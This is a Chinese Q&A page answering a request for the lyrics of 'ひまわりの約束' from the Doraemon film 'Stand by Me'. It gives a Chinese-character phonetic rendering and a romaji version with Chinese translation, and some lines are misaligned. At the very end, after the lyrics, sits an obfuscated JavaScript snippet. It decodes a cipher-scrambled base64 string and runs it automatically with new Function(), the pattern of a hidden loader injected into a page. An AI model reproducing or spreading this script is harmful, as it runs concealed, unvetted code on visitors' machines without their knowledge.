求大神帮我翻译啦,十分感谢 这个是哆啦A梦,伴我行ひまわりの约束罗马文

2025-03-16 16:06:43
推荐回答(2个)
回答1:

自己听了3个小时,纯翻译(本人也属于看不惯罗马音的人)。以下是成果。

《约定》
秦基博

倒哦西忒 ki米嘎那库诺
嘛打波库摸那 忒一那一挠你
及步恩哟 嘎那西木嘎那
粗拉一恼卡斗 七嘎哇嘎拉那库那路哟
嘎那库它 打它哈组q哦嘎
忽它利那拉它嘎拉摸恼 利那路

搜吧你一 打一哟
ki米恼 打美你带ki路口透嘎
波库你阿路嘎那
一租摸ki米你 一族拖ki米你 哇拉忒一忒 厚西库忒
嘿 嘛哇利恼有那 嘛速谷 那搜恼呀撒洗撒唔
努库摸利唔篡部
口来卡拉哇博库摸 涛倒ki得
有ki他一
烤烤你阿路西阿哇赛你 ki组一他嘎拉

倒凹库呆 倒摸路米拉一
木西摸波库拉 嘎哈那来带摸
扫来早来 阿路一台哟库
扫恼撒ki你嘛 打得啊哎路斗西恩及得
七谷打谷打他哈组好哈吧
黑拖次 恼哟哦你一嘛嘎撒 那阿路
搜吧你一路卡倒 那你给那一考恼秀恩嘎阿毛
哇速来哇西那一哟
他比他七恼嘿 台卧腐路涛ki
哎嘎哦得一拉 来路有你
嘿 嘛哇利恼有那 嘛速谷 那搜恼呀撒洗撒唔
努库摸利唔篡部
卡哎西打一开来倒 ki米恼考斗卡拉
摸哦九 步恩打哟无带 ki倒哟卡那

搜吧你一 打一哟
ki米恼 打美你带ki路口透嘎
波库你阿路嘎那
一租摸ki米你 一族拖ki米你 哇拉忒一忒 厚西库忒
嘿 嘛哇利恼有那 嘛速谷 那搜恼呀撒洗撒唔
努库摸利唔篡部
口来卡拉哇博库摸 涛倒ki得
有ki他一
好木倒凹恼西阿哇赛恼 一米卧米 组给打卡拉

回答2:

どうして君が泣くの 『为何你要落泪』

doo shi te ki mi ga na ku no
まだ仆も泣いていないのに 『明明我都还没有哭泣』
ma da bo ku mo na i te i na i no ni
自分より悲しむから 『这样我会比自己还难过』
ji bun yo ri ka na shi mu ka ra
辛いのかどっちかわからなくなるよ 『分不清 到底哪边更难受』
tsu ra i no ka do cchi ka wa ka ra na ku na ru yo
ガラクタだったはずの今日が 『原本一文不值的日子』
GA RA KU TA da tta ha zu no kyo ga
二人なら宝物になる 『只因二个人 成了至宝』
hu ta ri na ra ta ka ra mo no ni na ru
傍にいたいよ 『只想留在你的身边』

so ba ni i ta i yo
君のためにできることが 『为了你 我能做些什么呢』

ki mi no ta me ni de ki ru ko to ga
仆にあるかな
bo ku ni a ru ka na
いつも君に ずっと君に 『无论何时 我都希望你能』
i tsu mo ki mi ni zu tto ki mi ni
笑っていて欲しくて 『一直笑颜常在』
wa ra tte i te ho shi ku te
ひまわりのような真っ直ぐなその优しさを 『犹如向日葵般』『直率的 那份温柔』
hi ma wa ri no yoo na ma ssu gu na so no ya sa shi sa wo
ぬくもりを全部 『那份温暖 全部』

nu ku mo ri wo zen bu
これからは仆も届けていきたい 『从今往后 我亦希望能继续传递』
ko re ka ra wa bo ku mo to do ke te i ki ta i
ココにある幸せに気づいたから 『只因我察觉到 此时此刻的幸福』
KO KO ni a ru shi a wa se ni ki zu i ta ka ra
远くで灯る未来 『遥远地 发光的未来』
to o ku de to mo ru mi ra i
もしも仆らが离れても 『假使 就算我们分离』

mo shi mo bo ku ra ga ha na re te mo
それぞれ步いてゆく 『各自远行』

so re zo re a ru i te yu ku
その先にまた出会えると信じて 『亦要坚信 在前方 必能再次相遇』

so no sa ki ni ma ta de a e ru to shin ji te
チグハグだったはずの步幅 『原本错落的步伐』
CHI GU HA GU da tta ha zu no ho ha ba
一つのように今重なる 『亦会合二为一 此刻 相互重叠』
hi to tsu no yoo ni i ma ka sa na ru
そばにいること 何気ないこの瞬间も 『待在你的身旁』 『连同这坦然自若的瞬间』
so ba ni i ru ko to na ni ge na i ko no shyun kan
忘れはしないよ 『绝不忘怀』

wa su re wa shi na i yo
旅立ちの日 手を振るとき 『启程之日 挥手之时』
ta bi ta chi no hi te wo hu ru to ki
笑颜でいられるように 『只望能笑颜常在』

e ga o de i ra re ru yoo ni
ひまわりのような真っ直ぐなその优しさを 『犹如向日葵般』 直率的 那份温柔』

ho ma wa ri no yoo na ma ssu gu na so no ya sa shi sa wo
ぬくもりを全部 『那份温暖 全部』
nu ku mo ri wo zen bu
返したいけれど君のことだから 『都渴望归还 只因你』
ka e shi ta i ke re do ki mi no ko to da ka ra

もう十分だよってきっと言うかな 就已足矣 定能如此说道』
moo jyu bun da yo tte ki tto yu ka na
傍にいたいよ 君のためにできることが 『为了你 我能做些什么呢』

so ba ni i ta i yo ki mi no ta me ni de ki ru ko to ga
仆にあるかな 『只想留在你的身边』
bo ku ni a ru ka na
いつも君に ずっと君に 『无论何时 我都希望你能』
i tsu mo ki mi ni zu tto ki mi ni
笑っていて欲しくて 『一直笑颜常在』

wa ra tte i te ho shi ku te
ひまわりのよ 『犹如向日葵般』

ho ma wa ri no yo
うな真っ直ぐなその优しさをぬくもりを全部 『直率的 那份温柔』 『那份温暖 全部』
u na ma ssu gu na so no ya sa shi sa wo nu ku mo ri wo zen bu

これからは仆も届けていきたい 『从今往后 我亦希望能继续传递』
ko re ka ra wa bo ku mo to do ke te i ki ta i
本当の幸せの意味を见つけたから 『只因我已找到 真正的幸福的意义』
hon to no shi a wa se no i mi wo mi tsu ke ta ka ra

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();